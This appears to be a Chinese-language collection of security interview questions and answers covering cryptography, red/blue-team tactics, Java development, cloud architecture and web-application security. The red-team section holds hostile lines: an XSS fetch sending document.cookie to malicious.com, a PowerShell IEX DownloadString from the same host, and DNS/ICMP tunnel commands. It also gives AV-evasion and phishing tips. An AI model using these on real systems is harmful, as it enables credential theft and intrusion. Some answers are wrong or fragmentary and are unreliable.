哪些 Hash 和加密算法不建议使用？

不建议使用的算法：

已被破解：
- MD5（碰撞攻击已被实现）
- SHA1（已存在实用级攻击）
- RC4（TLS 已弃用）
- DES（密钥长度过短）
安全性不足：
- 3DES（密钥长度 168-bit，但攻击复杂度已降低）
- RSA 1024-bit（建议使用 2048-bit 或以上）
- AES 128-bit（可使用 AES-256 提高安全性）

推荐使用的算法：

对称加密：AES-256
非对称加密：RSA-4096、ECC（如 Curve25519）
Hash 算法：SHA-256 及以上

硬编码密钥如何解决？

风险：

硬编码密钥会被代码审计工具（如 GitLeaks、TruffleHog）检测并泄露。

解决方案：

环境变量存储密钥：
1
export API_KEY="your-secret-key"
使用 KMS（密钥管理系统）：
- AWS KMS、HashiCorp Vault 进行密钥管理
定期轮换密钥：
- 避免长期使用同一密钥，降低泄露风险。

PKI 原理

PKI（公钥基础设施）工作机制：

密钥对：每个用户有 公钥 + 私钥（RSA/ECC）。
证书：由 CA（证书颁发机构） 签发，确保公钥可信。
证书链：通过 根 CA -> 中间 CA -> 服务器证书 形成信任链。

应用场景：

SSL/TLS 证书认证（HTTPS）
数字签名 确保数据完整性

国密的底层原理？

国密算法（SM 系列）特点：

SM2（非对称加密）：
- 替代 RSA，基于椭圆曲线，密钥长度更短但更安全。
SM3（哈希算法）：
- 替代 SHA256，提供更高抗碰撞性。
SM4（对称加密）：
- 替代 AES，适用于数据加密。

应用场景：

政府、金融机构 需符合国密标准（如 TLS1.3 + SM2 证书）。

密码如何保存至数据库？

最佳实践：

使用 PBKDF2 进行哈希：

1
2
3

import hashlib, os
salt = os.urandom(16)
password_hash = hashlib.pbkdf2_hmac('sha256', password.encode(), salt, 100000)

使用 bcrypt/scrypt 加密：

1 2	from bcrypt import hashpw, gensalt hashed_password = hashpw(password.encode(), gensalt())

避免明文存储：
- 禁止使用 MD5、SHA1 直接存储。

如何让密码轮转？

密码轮转策略：

定期更换密钥：
- 采用 密钥版本控制，新密码使用新密钥加密：
  1
  openssl enc -aes-256-cbc -e -in file.txt -out file.enc -K NEW_KEY
双重存储机制：
- 新密码 + 旧密码并存，避免一次性全量更新：
  1
  store_password(user_id, new_hash, old_hash)
自动化管理：
- 使用 KMS（密钥管理系统） 进行密钥生命周期管理。

可以在哪些层次对文件进行加密？

加密层次：

应用层加密：

采用 AES-GCM 加密文件：

from cryptography.fernet import Fernet
key = Fernet.generate_key()
cipher = Fernet(key)
encrypted_data = cipher.encrypt(b"secret data")

文件系统加密：
- Linux eCryptfs，Windows BitLocker
磁盘级加密：
- 通过 LUKS 加密整个磁盘：
  1
  cryptsetup luksFormat /dev/sdX

如何技术手段实现全站 HTTPS？

全站 HTTPS 方案：

申请 TLS 证书：
1
certbot --nginx -d example.com

强制跳转 HTTPS（Nginx 配置）：

server {
    listen 80;
    return 301 https://$host$request_uri;
}

启用 HSTS（HTTP Strict Transport Security）：

1	add_header Strict-Transport-Security "max-age=31536000; includeSubDomains" always;

升级不安全请求：

使用 Content-Security-Policy：

1	add_header Content-Security-Policy "upgrade-insecure-requests";

检测 HTTPS 配置安全性：

使用 Qualys SSL Labs 测试：

1	curl -I https://www.ssllabs.com/ssltest/analyze.html?d=example.com

安全蓝军

如何通过程序判断一批域名是否泛解析域名？

泛解析检测方法：

查询一个不存在的子域名：
- 例如 random-subdomain.example.com，如果返回 IP，则说明存在泛解析。
比对返回 IP：
- 解析多个子域名，若 IP 一致，可能为泛解析。

Python 实现：

import dns.resolver

def is_wildcard(domain):
    try:
        test_subdomain = f"random-test.{domain}"
        answer = dns.resolver.resolve(test_subdomain, 'A')
        return answer.rrset is not None  # 有解析结果，则为泛解析
    except:
        return False

domain_list = ["example.com", "wildcard.example.com"]
for domain in domain_list:
    print(f"{domain}: {'泛解析' if is_wildcard(domain) else '非泛解析'}")

木马免杀有哪些方式？哪种方式最有效？

免杀方式：

代码混淆：
- 变异代码，绕过特征检测。
加壳：
- 使用 Themida、VMProtect 进行保护。
内存加载：
- 不落地文件，直接在内存运行。

最有效方式：

内存加载 + 自定义加密 + 多态变种。

木马隐藏有哪些？哪种隐藏方式当前最有效？

常见隐藏方式：

进程注入：
- 注入 explorer.exe，隐藏自身。
Rootkit 技术：
- Hook kernel 级函数，隐藏进程。
无文件攻击：
- 通过 PowerShell 运行，无落地文件。

最有效方式：

无文件 + 内存驻留 + 进程注入。

Word DDE 和 Office 宏有什么优势？

攻击方式	优势
DDE（动态数据交换）	无需启用宏，可自动执行命令
Office 宏	可执行恶意 VBA 代码，权限较高

最佳利用：

DDE 可绕过宏限制，适用于目标防御较弱的环境。

如何绕过 Office 受保护视图？

绕过方式：

**使用 LNK 结合 VBA**：
- .lnk -> Word 宏 -> PowerShell 执行。
嵌入远程 RTF 文件：
- 触发 OLE 机制绕过安全检测。

有哪些有效的钓鱼方式？

HTML Smuggling：
- 直接 JS 生成 EXE，绕过下载检测。
OAuth 伪装：
- 假冒 Google/Microsoft 登录，骗取凭据。
智能 DNS 诱导：
- 伪造 Wi-Fi 认证页面，获取凭据。

如何绕过 WAF、HIDS、威胁感知？

目标	绕过方式
WAF	使用 `编码绕过`（如 `Base64`）
HIDS	代码注入，隐藏进程
威胁感知	伪装 `User-Agent`，避免流量特征匹配

如何在禁止出网的机器上访问互联网？

绕过方式：

DNS 隧道：
- 通过 iodine 将数据封装进 DNS 查询：
  1
  iodine -f -P password my.dnstunnel.com
ICMP 隧道：
- 使用 Ptunnel 通过 ICMP 传输 TCP 流量：
  1
  ptunnel -c -p 192.168.1.1 -lp 8000 -da target.com -dp 80
蓝牙/手机热点：
- 利用手机创建热点，物理绕过网络限制。

ew、frp 差异？

工具	作用	优点	缺点
ew	反向代理	轻量级、无依赖	功能较少
frp	内网穿透	支持 TCP、UDP、HTTP	需要公网服务器

ICMP 如何出网？

ICMP 隧道方式：

**使用 Ptunnel**：

1	ptunnel -c -p 192.168.1.1 -lp 8080 -da google.com -dp 443

**使用 icmptx**：
- 在封锁 TCP/UDP 但允许 ICMP 的环境下进行数据传输。

如何利用 XSS 让影响最大化？

扩大 XSS 影响的方式：

蠕虫化传播：

利用 XSS 自动感染更多用户：

1	fetch("http://malicious.com/log?cookie=" + document.cookie)

结合 CSRF：
- 让受害者执行管理员操作：
  1
  <img src="http://victim.com/delete?user=admin">
劫持 WebSocket 连接：
- 控制用户浏览器发送恶意请求。

如何全流程最大限度降低被红军发现概率？

降低被发现的方法：

减少网络异常行为：
- 避免高频端口扫描，使用 slowloris 低速扫描：
  1
  nmap -p 22,80,443 -T2 target.com

混淆指纹：

伪装 User-Agent、TLS Fingerprint：

1	curl -A "Mozilla/5.0 (Windows NT 10.0; Win64; x64)" https://target.com

避免持久化：

使用 fileless 技术，如 PowerShell 直接运行：

1	IEX(New-Object Net.WebClient).DownloadString("http://malicious.com/script.ps1")

**使用 Covert Channel**：
- 通过 DNS、ICMP 通道回传数据，避免直接暴露 IP。

安全开发岗位

equals 与 == 的区别

运算符/方法	比较内容	适用类型
`==`	比较引用地址（基本数据类型则比较值）	基本类型、对象引用
`equals()`	比较对象内容（需重写 `equals` 方法）	仅适用于对象

示例：

String a = new String("hello");
String b = new String("hello");
System.out.println(a == b);        // false （不同对象）
System.out.println(a.equals(b));   // true （内容相同）

Java 虚拟机区域如何划分？

JVM 内存结构：

堆（Heap）：
- 存储对象实例，垃圾回收器管理。
方法区（Metaspace）：
- 存储类元信息、常量池。
虚拟机栈（JVM Stack）：
- 线程私有，存储局部变量、方法调用帧。
本地方法栈（Native Stack）：
- 调用 JNI 代码时使用。
程序计数器（PC Register）：
- 记录当前执行的字节码指令。

方法重载与方法重写的区别

对比项	方法重载（Overloading）	方法重写（Overriding）
定义	相同方法名，不同参数列表	子类修改父类方法实现
作用	提供多种调用方式	实现多态
访问权限	无需与原方法一致	不能降低父类方法权限

示例：

// 方法重载
class MathUtil {
    int sum(int a, int b) { return a + b; }
    double sum(double a, double b) { return a + b; }
}

// 方法重写
class Parent {
    void show() { System.out.println("Parent"); }
}
class Child extends Parent {
    @Override
    void show() { System.out.println("Child"); }
}

HashMap、HashTable、ConcurrentHashMap 的区别

对比项	HashMap	HashTable	ConcurrentHashMap
线程安全	❌ 非线程安全	✅ 线程安全（同步方法）	✅ 线程安全（分段锁）
性能	高	低	高
是否允许 `null`	`key/value` 都允许	`key/value` 都不允许	仅 `value` 允许

进程和线程区别，线程间通信有哪些方式？

对比项	进程	线程
定义	独立运行的程序实例	进程内的执行单元
内存共享	❌ 不共享	✅ 共享进程内存
创建开销	高	低

线程间通信方式：

共享内存（volatile、synchronized）
消息队列（BlockingQueue）
管道通信（PipedInputStream、PipedOutputStream）

Java BIO/NIO/AIO 是什么？适用哪些场景？

类型	特点	适用场景
BIO（同步阻塞）	一个线程处理一个连接	低并发（如传统 `Socket`）
NIO（同步非阻塞）	采用 `Selector` 监听多连接	高并发（如 `Netty`）
AIO（异步非阻塞）	`OS` 回调处理数据	超高并发（如 `WebSocket`）

挑一个设计模式（工厂、单例、适配器、观察者）进行讲解

单例模式

作用：

确保全局仅有一个实例，避免资源浪费。

实现方式：

class Singleton {
    private static volatile Singleton instance;
    private Singleton() {}
    public static Singleton getInstance() {
        if (instance == null) {
            synchronized (Singleton.class) {
                if (instance == null) {
                    instance = new Singleton();
                }
            }
        }
        return instance;
    }
}

应用场景：

数据库连接池
日志管理器

synchronized 如何使用？Object 的 wait、notify 方法有什么作用？

synchronized 作用：

线程同步，避免数据竞争。

wait/notify 作用：

wait()：线程进入 等待状态，释放锁。
notify()：唤醒一个等待的线程。

示例：

class WaitNotifyExample {
    private final Object lock = new Object();
    
    void waitMethod() throws InterruptedException {
        synchronized (lock) {
            System.out.println("Waiting...");
            lock.wait();  // 线程进入等待
            System.out.println("Notified!");
        }
    }

    void notifyMethod() {
        synchronized (lock) {
            lock.notify();  // 唤醒等待的线程
        }
    }
}

sleep() 和 wait() 有什么区别？

对比项	sleep()	wait()
定义	让线程暂停执行	让线程进入等待队列
是否释放锁	❌ 不释放	✅ 释放
使用范围	任意地方	只能在 `synchronized` 代码块

示例：

1 2	Thread.sleep(1000); // 线程暂停 1s synchronized (lock) { lock.wait(); } // 释放锁，等待 notify

什么是幂等性？一般有什么方式实现？

定义：

重复执行多次，不影响最终结果。

实现方式：

基于数据库唯一约束：

1	INSERT INTO orders(id, user, amount) VALUES (1, 'Alice', 100) ON DUPLICATE KEY UPDATE amount=amount;

使用 Token 机制：

避免重复提交：

1 2	if (redis.exists(requestToken)) { return; } redis.set(requestToken, "1", 5, TimeUnit.MINUTES);

幂等接口设计：
- PUT 请求应更新资源，而非创建新资源。

大文件小内存的排序如何做？

外部排序（External Sorting）：

分块排序：
- 将大文件拆分成多个小文件（每个可放入内存）。
- 使用 快速排序 或 归并排序 对小文件排序。

多路归并（K-Way Merge）：

归并排序后的小文件，利用 最小堆 进行合并：

import heapq
with open("sorted_part1.txt") as f1, open("sorted_part2.txt") as f2:
    merged = heapq.merge(f1, f2)
    with open("final_sorted.txt", "w") as out:
        for line in merged:
            out.write(line)

适用算法：

归并排序（Merge Sort），适合大文件分块处理。
基数排序（Radix Sort），适合整数排序。

有 1 亿个数字，其中有两个是重复的，如何快速找到？要求时间和空间最优。

解法 1：位图法（BitMap）（空间 O(N/8)，时间 O(N)）

bit_array = [0] * (10**8 // 8)  # 每个 bit 代表一个数
for num in numbers:
    index, offset = divmod(num, 8)
    if (bit_array[index] >> offset) & 1:
        print("重复数字:", num)
    else:
        bit_array[index] |= (1 << offset)

解法 2：哈希集合（空间 O(N)，时间 O(N)）

seen = set()
for num in numbers:
    if num in seen:
        print("重复数字:", num)
    seen.add(num)

解法 3：排序 + 相邻比较（空间 O(1)，时间 O(N log N)）

使用外部排序（归并/快速排序），然后遍历找相同数字。

1 亿个随机生成的无序整数，找出中间大小的值。

解法 1：快速选择（QuickSelect，O(N)）

import random
def partition(arr, left, right):
    pivot = arr[right]
    i = left
    for j in range(left, right):
        if arr[j] < pivot:
            arr[i], arr[j] = arr[j], arr[i]
            i += 1
    arr[i], arr[right] = arr[right], arr[i]
    return i

def quick_select(arr, k):
    left, right = 0, len(arr) - 1
    while left <= right:
        pivot_index = partition(arr, left, right)
        if pivot_index == k:
            return arr[pivot_index]
        elif pivot_index < k:
            left = pivot_index + 1
        else:
            right = pivot_index - 1

numbers = [random.randint(0, 10**9) for _ in range(10**8)]
median = quick_select(numbers, len(numbers) // 2)
print(median)

解法 2：最小堆（O(N log K)）

维护一个 大小为 N/2+1 的最小堆，堆顶即为中位数。

调试工具及异常排查流程？

常见调试工具：

**top / htop**（CPU、内存使用）
**strace**（系统调用跟踪）
**gdb**（C/C++ 调试）
**jstack**（Java 线程堆栈）

异常排查流程：

日志分析（tail -f logs/app.log）
检查资源占用（top、ps aux）
网络连通性（ping、telnet）
代码级 Debug（gdb、pdb）

数据库索引结构，什么情况下应该建唯一索引？

索引类型	适用场景
唯一索引（Unique Index）	防止重复数据，如 `用户名`、`邮箱`
普通索引（Index）	加速查询，如 `WHERE status=1`
复合索引（Composite Index）	多条件查询，如 `(user_id, order_date)`

唯一索引示例：

1	CREATE UNIQUE INDEX idx_email ON users(email);

数据库分页语句如何写？

MySQL 分页查询：

1	SELECT * FROM users ORDER BY id LIMIT 10 OFFSET 20;

优化方式：
1. 使用覆盖索引：

1	SELECT id, name FROM users WHERE status=1 ORDER BY id LIMIT 10 OFFSET 20;

2. 避免 OFFSET 扫描（适用于大数据量）：

1	SELECT * FROM users WHERE id > 1000 ORDER BY id LIMIT 10;

HTTPS 交互过程

客户端发起请求：
- 浏览器访问 https://example.com，请求服务器的 TLS 证书。
服务器返回 SSL 证书：
- 服务器提供 公钥证书（CA 签发）。
客户端验证证书：
- 检查 是否被信任，证书是否 过期/吊销。
密钥协商：
- 使用 Diffie-Hellman / RSA 生成对称密钥。
加密数据传输：
- 客户端使用对称密钥进行加密通信。

OAuth2.0 交互过程及不当安全风险

OAuth2.0 授权流程：

用户访问 Client（第三方应用） 并请求授权。
Client 跳转到 OAuth 服务器 获取授权码（Authorization Code）。
OAuth 服务器重定向回 Client 并携带授权码。
Client 用授权码换取 Access Token。
Client 使用 Access Token 访问受保护资源。

安全风险：

Token 泄露：
- 解决方案：使用 短期 Token + Refresh Token。
重放攻击：
- 解决方案：绑定 PKCE（Code Verifier）。
恶意 Client 滥用 Token：
- 解决方案：严格验证 redirect_uri，只允许白名单域名。

获取 URL 内容时的安全注意事项

防御措施：

防止 SSRF（服务器端请求伪造）：

仅允许白名单 URL：

1
2
3

allowed_hosts = ["https://trusted.com"]
if urlparse(user_input_url).netloc not in allowed_hosts:
    raise ValueError("非法请求")

防止 Open Redirect：

禁止 http://attacker.com 伪装成 example.com：

1 2	if "://" in url and not url.startswith("https://trusted.com"): raise ValueError("非法 URL")

超时控制：

1	requests.get(user_input_url, timeout=3)

参数入库前如何过滤？

预防 SQL 注入的措施：

使用参数化查询：

1	cursor.execute("SELECT * FROM users WHERE id = %s", (user_input,))

使用 ORM 框架：
- 避免直接拼接 SQL，使用 SQLAlchemy、Django ORM。

正则校验：

仅允许数字、字母：

1
2
3

import re
if not re.match(r"^[a-zA-Z0-9]+$", user_input):
    raise ValueError("非法输入")

过滤器和拦截器原理和应用场景？

概念	作用	应用场景
过滤器（Filter）	处理请求/响应	认证、日志记录
拦截器（Interceptor）	控制方法调用	AOP（切面编程）、权限校验

示例：Spring 拦截器

public class AuthInterceptor implements HandlerInterceptor {
    public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) {
        if (!request.getHeader("Authorization").startsWith("Bearer")) {
            response.setStatus(403);
            return false;
        }
        return true;
    }
}

特性	SESSION	Cookie
存储位置	服务器	客户端
生命周期	会话结束	可设定过期时间
安全性	高，存储在服务器	易被窃取

使用场景：

SESSION 适用于 短期会话（如登录）。
COOKIE 适用于 长期标识用户（如自动登录）。

SESSION ID 如何不被 JavaScript 读取？

防御方案：

设置 HttpOnly
1
Set-Cookie: JSESSIONID=xyz123; HttpOnly
- 防止 JavaScript 通过 document.cookie 访问 SESSION ID。

使用 SameSite=Strict 防御 CSRF：

1	Set-Cookie: JSESSIONID=xyz123; SameSite=Strict

CSRF Token 如何设计？

CSRF 防御方案：

生成随机 Token

1 2	import secrets csrf_token = secrets.token_hex(32)

Token 绑定 Session
1
session["csrf_token"] = csrf_token

请求时校验 Token

1 2	if request.form["csrf_token"] != session["csrf_token"]: raise ValueError("CSRF 攻击")

同源策略？如何实现安全的跨域请求？

同源策略（Same-Origin Policy，SOP）

浏览器安全机制，阻止不同域之间的 JavaScript 访问。

跨域解决方案：

CORS（跨域资源共享）
- 服务器允许特定域访问：
  1
  Access-Control-Allow-Origin: https://trusted.com

JSONP（仅支持 GET 请求）

通过 script 标签跨域：

1	<script src="https://api.example.com/data?callback=myFunction"></script>

Nginx 代理

配置 Nginx 反向代理：

1
2
3

location /api/ {
    proxy_pass https://backend.example.com;
}

安全架构方向

传统 IDC、云上、混合云架构的安全差异和挑战

架构	安全挑战
传统 IDC	需要物理安全防护，硬件防火墙，网络隔离
云上架构	依赖 CSP（云服务提供商）安全策略，数据共享风险
混合云	需要 VPN / Zero Trust 保障多云互通，防止数据泄露

挑战：

访问控制：如何限制云端数据访问？
合规性：云端数据存储是否符合 GDPR、HIPAA？
供应链安全：第三方 API、插件是否可信？

云原生技术下的安全变化

主要变化：

安全边界模糊：
- 传统 防火墙 保护边界 -> 微服务、API 需要细粒度权限控制。
容器 & Kubernetes 安全：
- 容器逃逸、K8s API 访问控制：
  1
  2
  apiVersion: rbac.authorization.k8s.io/v1
  kind: ClusterRole
DevSecOps：
- 安全左移，代码级安全扫描（SAST、DAST、IAST）。

纯云业务如何设计安全架构？

云安全架构关键点：

IAM（身份访问管理）：
- 避免 root 权限直接操作，使用 细粒度 RBAC。
数据加密：
- 存储加密（S3、RDS 加密）
- 传输加密（TLS 1.3 + mTLS）
安全监控 & 审计：
- 使用 CloudTrail、SIEM 进行异常检测。

SDL 中的关键点以及如何解决？

SDL（安全开发生命周期，Secure Development Lifecycle）关键点：

威胁建模（Threat Modeling）：
- 识别业务关键点，如 身份认证、支付接口。
安全代码审计（SAST/DAST）：
- 使用 SonarQube、Checkmarx 检测漏洞。
漏洞管理 & 修复：
- 结合 DevSecOps，在 CI/CD 进行 自动化漏洞扫描。

漏洞发现在甲方和乙方的区别？

角色	关注点	安全策略
甲方（企业安全团队）	业务风险、合规性	WAF、DLP、SIEM
乙方（安全公司）	技术漏洞、渗透测试	红队演练、攻防对抗

如何防止 0day 攻击？

启用应用白名单：
- 限制运行未知程序：
  1
  Set-ExecutionPolicy Restricted

漏洞管理 & 补丁更新：

使用 WAF 过滤异常流量：

1
2
3

if ($query_string ~* "union.*select") {
    return 403;
}

启用 RASP（运行时安全防护）：
- 监控运行时攻击行为，拦截 RCE。

不同企业不同阶段、不同体量的安全建设方法、区别及侧重

企业阶段	安全策略
初创企业	基础安全（云安全配置、Web 防护）
中型企业	合规 & 业务风控（数据加密、访问控制）
大型企业	高级威胁检测（EDR、SIEM、攻防演练）

应用安全岗位

Redis 未授权访问漏洞如何入侵利用？

SSRF 漏洞原理、利用方式及修复方案？Java 和 PHP 的 SSRF 区别？

宽字节注入漏洞原理、利用方式及修复方案？

JSONP 的业务意义、JSONP 劫持利用方式及修复方案？如何设计 CSRF Token？

CORS 原理、利用及修复？

CRLF 注入原理？

URL 白名单如何绕过？

XSS 如何实现？

Fastjson、Log4j 常见漏洞原理？如何底层解决该漏洞？

业务逻辑漏洞具体类型：

哪些账户状态会导致预期外的风险：

身份标识明文传输会导致的风险：

水平越权触发点会存在的位置：

水平越权有哪几种检测方式：

通过数字加减遍历或通过两个账号互测的方式进行水平越权测试的优劣势：

CORS 原理、利用及修复？

修复方案：- 配置严格的CORS策略，仅允许信任的源访问资源。- 使用预检请求（OPTIONS请求），在实际请求之前进行权限校验。

某个APP的某个功能按钮是灰色不可用状态，如何绕过其限制？

流程绕过漏洞如何抽象理解归类？

TLS 1.2 协议交互过程以及攻击方法？

修复方案：- 强制使用 TLS 1.2+，禁用低版本。- 启用 HSTS，防止降级攻击。- 使用 PFS（Perfect Forward Secrecy），防止密钥泄露影响历史数据。

HTTP 请求走私（HTTP Request Smuggling）原理

DNSSEC 能解决什么场景问题？

限制：- DNSSEC 不能加密 DNS 查询内容，仍然容易被监控。- 部署复杂，且需要上级 DNS 服务器支持。

DNS 记录（DS、PTR、TXT）类型的常见作用？

示例：- SPF 记录（TXT）： 1example.com TXT "v=spf1 ip4:192.168.1.1 -all" 作用：指定允许的邮件发送服务器，防止伪造邮件。

将暂时不用的域名解析到 1.1.1.1 有什么好处和坏处？

更安全的做法：- 直接删除域名解析记录，或设置 NXDOMAIN 响应。

OAuth 除了 redirect_uri 绕过问题外，还有哪些风险以及如何修复？

JWT 相较于 SESSION 的优势？

安全注意点：- JWT 一旦泄露，攻击者可以长期使用，建议使用短生命周期 Token。- 需使用 RS256（非对称加密） 或 HS256（对称加密），避免 none 算法漏洞。

如何通过 HTTP 参数污染将 uid=9527&amount=100 中的 uid 改为 10086？

修复方案：- 严格限制参数格式，拒绝重复参数。- 统一服务器端参数解析方式，确保参数唯一性。

当网关对所有请求会进行一次强制 urldecode，存在一个参数 uid=9527&remark=充话费&amount=100 的接口，仅备注字段（remark）可控时，如何改变最终的金额字段（amount）？

修复方案：- 对输入数据进行二次编码检查，避免 urldecode 解析参数。- 使用 JSON 传输数据，避免 query string 参数解析问题。

哪些漏洞的测试对业务有损？如何避免？

避免方案：- 在 测试环境 进行验证，避免直接在生产环境测试。- 对关键 API 限制高频请求，防止影响用户体验。

漏洞修复一般分为哪几个步骤？

如何制定漏洞的修复时间？需要考虑哪些因素？

最佳实践：- P0（高危）：24 小时内修复。- P1（中危）：1 周内修复。- P2（低危）：1 个月内修复。

如何有效提升漏洞修复效率？

优化方法：- 漏洞分类，制定标准化修复流程。- 自动化测试，减少回归测试成本。- 开发安全培训，提高修复能力。

什么类型漏洞是代码审计无法准确判断存在与否的？

解决方案：- 结合动态分析（DAST）+人工测试，验证漏洞是否可被利用。

密钥的识别的正则如何写？

正则 (a+)+ 会存在哪些风险？

修复方案：- 避免使用嵌套重复匹配 (a+)+，改用 ^a+$ 限制匹配范围。- 使用非回溯正则（如 RE2 引擎）。

程序对读取的文件名的正则为 /\.markdown/，如何绕过？

修复方案：- 严格使用 basename 解析路径： 1234import osfilename = os.path.basename(user_input)if not filename.endswith(".markdown"): raise Exception("Invalid file type")

程序对请求的 URL 的正则为 /^http\:\/\/.*\.feei.cn($|\(\/[^<>\""]*\))/，如何绕过？

修复方案：- 严格解析域名，不依赖正则： 12345from urllib.parse import urlparsedef validate_url(url): parsed = urlparse(url) if not parsed.netloc.endswith(".feei.cn"): raise ValueError("Invalid domain")

解释型语言和编译型语言在语法树分析上有什么差异？

编译型语言（如 C、Java）：- 类型确定：变量类型在编译期已确定，静态分析更稳定。- 优化可能影响漏洞分析：编译器优化可能导致某些漏洞难以被静态分析发现。

Java Web 应用中的反序列化漏洞的 Source 和 Sink 是什么？

黑盒如何检测 XSS 漏洞？

修复方案：- 使用 Content-Security-Policy 限制 JavaScript 执行来源。- 采用 encodeURIComponent() 对输入数据进行转义。

甲方黑盒是否应具备爬取流量功能？

折中方案：- 允许基于授权的爬取，并提供流量白名单机制。- 结合 Web 日志和流量分析进行被动扫描。

黑盒如何扫描无法出网的 SSRF？

黑盒如何扫描越权漏洞？

黑盒带登录态扫描如何规避业务影响？

修复方案：- 使用 WAF 规则 限制高频异常请求。- 采用 测试环境，避免在生产环境直接扫描。

黑盒扫描时如何避免被反制？

长期策略：- 采用 企业级资产扫描工具（如 Burp Suite + Headless Chrome），绕过简单的 WAF 防护。

灰盒相较于黑白盒的优势是什么？

抽象来看，安全评估到底要评什么东西？

一个应用开放出去 API，可能存在哪些风险以及如何应对？

应对措施：- 加密传输：强制使用 HTTPS，并启用 HSTS 保护。- 身份认证：使用 OAuth2.0、JWT 或 API Key 结合 HMAC 签名。- 请求防护： - 使用 请求签名机制，防止篡改和重放攻击。 - 添加 时间戳 + 随机数，确保请求唯一性。

设计 API 签名时，随机数使用秒时间戳（timestamp/s）会存在哪些风险？

应对方案：- 使用毫秒级时间戳（timestamp/ms）降低重放窗口。- 引入随机数（nonce），确保每次请求的唯一性： 123timestamp = str(int(time.time() * 1000))nonce = uuid.uuid4().hexsignature = hmac_sha256(secret_key, timestamp + nonce + payload)

设计 API 签名时，HMAC SHA256 和 SHA256 区别是什么？

密码如何加密保存？

某些场景（登录、注册、修改密码、支付）会存在哪些风险以及如何防范？

新应用如何评估安全风险？

需求阶段、各分阶段安全评估的侧重点是什么？

接口 B 的参数是从接口 A 的响应中获取的，会存在哪些风险？

防范措施：- 数据完整性校验：接口 A 的响应必须进行签名验证。- 限制数据来源：接口 B 仅接受可信 API 的数据。- 使用 Token 关联请求，防止数据篡改。

新的 API 接口上线时，如何设计使其避免出现请求篡改和请求重放？

防重放措施：- 使用时间戳+随机数： - 在请求中添加 timestamp + nonce，确保唯一性： 12345{ "timestamp": 1700000000, "nonce": "random-uuid", "signature": "hmac_signature"} - 服务器端存储已使用的 nonce，防止重复请求。

修复方案：
- 配置严格的CORS策略，仅允许信任的源访问资源。
- 使用预检请求（OPTIONS请求），在实际请求之前进行权限校验。

修复方案：
- 强制使用 TLS 1.2+，禁用低版本。
- 启用 HSTS，防止降级攻击。
- 使用 PFS（Perfect Forward Secrecy），防止密钥泄露影响历史数据。

限制：
- DNSSEC 不能加密 DNS 查询内容，仍然容易被监控。
- 部署复杂，且需要上级 DNS 服务器支持。

示例：
- SPF 记录（TXT）：

1
example.com TXT "v=spf1 ip4:192.168.1.1 -all"

作用：指定允许的邮件发送服务器，防止伪造邮件。

更安全的做法：
- 直接删除域名解析记录，或设置 `NXDOMAIN` 响应。

安全注意点：
- JWT 一旦泄露，攻击者可以长期使用，建议使用短生命周期 Token。
- 需使用 RS256（非对称加密）或 HS256（对称加密），避免 `none` 算法漏洞。

如何通过 HTTP 参数污染将 `uid=9527&amount=100` 中的 uid 改为 10086？

修复方案：
- 严格限制参数格式，拒绝重复参数。
- 统一服务器端参数解析方式，确保参数唯一性。

当网关对所有请求会进行一次强制 urldecode，存在一个参数 `uid=9527&remark=充话费&amount=100` 的接口，仅备注字段（remark）可控时，如何改变最终的金额字段（amount）？

修复方案：
- 对输入数据进行二次编码检查，避免 `urldecode` 解析参数。
- 使用 JSON 传输数据，避免 `query string` 参数解析问题。

避免方案：
- 在测试环境进行验证，避免直接在生产环境测试。
- 对关键 API 限制高频请求，防止影响用户体验。

最佳实践：
- P0（高危）：24 小时内修复。
- P1（中危）：1 周内修复。
- P2（低危）：1 个月内修复。

优化方法：
- 漏洞分类，制定标准化修复流程。
- 自动化测试，减少回归测试成本。
- 开发安全培训，提高修复能力。

解决方案：
- 结合动态分析（DAST）+人工测试，验证漏洞是否可被利用。

正则 `(a+)+` 会存在哪些风险？

修复方案：
- 避免使用嵌套重复匹配 `(a+)+`，改用 `^a+$` 限制匹配范围。
- 使用非回溯正则（如 RE2 引擎）。

程序对读取的文件名的正则为 `/\.markdown/`，如何绕过？

修复方案：
- 严格使用 `basename` 解析路径：

1
2
3
4
import os
filename = os.path.basename(user_input)
if not filename.endswith(".markdown"):
raise Exception("Invalid file type")

**程序对请求的 URL 的正则为 `/^http\:\/\/.\.feei.cn($|\(\/[^<>\""]\))/`，如何绕过？**

修复方案：
- 严格解析域名，不依赖正则：

1
2
3
4
5
from urllib.parse import urlparse
def validate_url(url):
parsed = urlparse(url)
if not parsed.netloc.endswith(".feei.cn"):
raise ValueError("Invalid domain")

编译型语言（如 C、Java）：
- 类型确定：变量类型在编译期已确定，静态分析更稳定。
- 优化可能影响漏洞分析：编译器优化可能导致某些漏洞难以被静态分析发现。

修复方案：
- 使用 `Content-Security-Policy` 限制 JavaScript 执行来源。
- 采用 `encodeURIComponent()` 对输入数据进行转义。

折中方案：
- 允许基于授权的爬取，并提供流量白名单机制。
- 结合 Web 日志和流量分析进行被动扫描。

修复方案：
- 使用 WAF 规则限制高频异常请求。
- 采用测试环境，避免在生产环境直接扫描。

长期策略：
- 采用企业级资产扫描工具（如 Burp Suite + Headless Chrome），绕过简单的 WAF 防护。

应对措施：
- 加密传输：强制使用 HTTPS，并启用 HSTS 保护。
- 身份认证：使用 OAuth2.0、JWT 或 API Key 结合 HMAC 签名。
- 请求防护：
- 使用请求签名机制，防止篡改和重放攻击。
- 添加时间戳 + 随机数，确保请求唯一性。

应对方案：
- 使用毫秒级时间戳（timestamp/ms）降低重放窗口。
- 引入随机数（nonce），确保每次请求的唯一性：

1
2
3
timestamp = str(int(time.time() * 1000))
nonce = uuid.uuid4().hex
signature = hmac_sha256(secret_key, timestamp + nonce + payload)

防范措施：
- 数据完整性校验：接口 A 的响应必须进行签名验证。
- 限制数据来源：接口 B 仅接受可信 API 的数据。
- 使用 Token 关联请求，防止数据篡改。

防重放措施：
- 使用时间戳+随机数：
- 在请求中添加 `timestamp` + `nonce`，确保唯一性：

1
2
3
4
5
{
"timestamp": 1700000000,
"nonce": "random-uuid",
"signature": "hmac_signature"
}

- 服务器端存储已使用的 `nonce`，防止重复请求。

防范措施：
- 使用最小权限原则限制容器和 K8s 资源访问。
- 启用 Pod Security Policy，避免运行高权限容器。
- 定期扫描容器镜像，防止供应链攻击。

防范措施：
- 限制 IPv6 访问范围，使用防火墙规则拦截外部未授权流量。
- 启用 RA-Guard，防止恶意 IPv6 路由公告。

自研应用评估：
- 重点关注业务逻辑漏洞（如支付绕过、权限越权）。
- 代码安全规范需严格执行，防止内部泄露风险。

最佳实践：
- 采用攻击面分析（Attack Surface Analysis）识别高风险区域。
- 结合威胁建模评估潜在威胁。

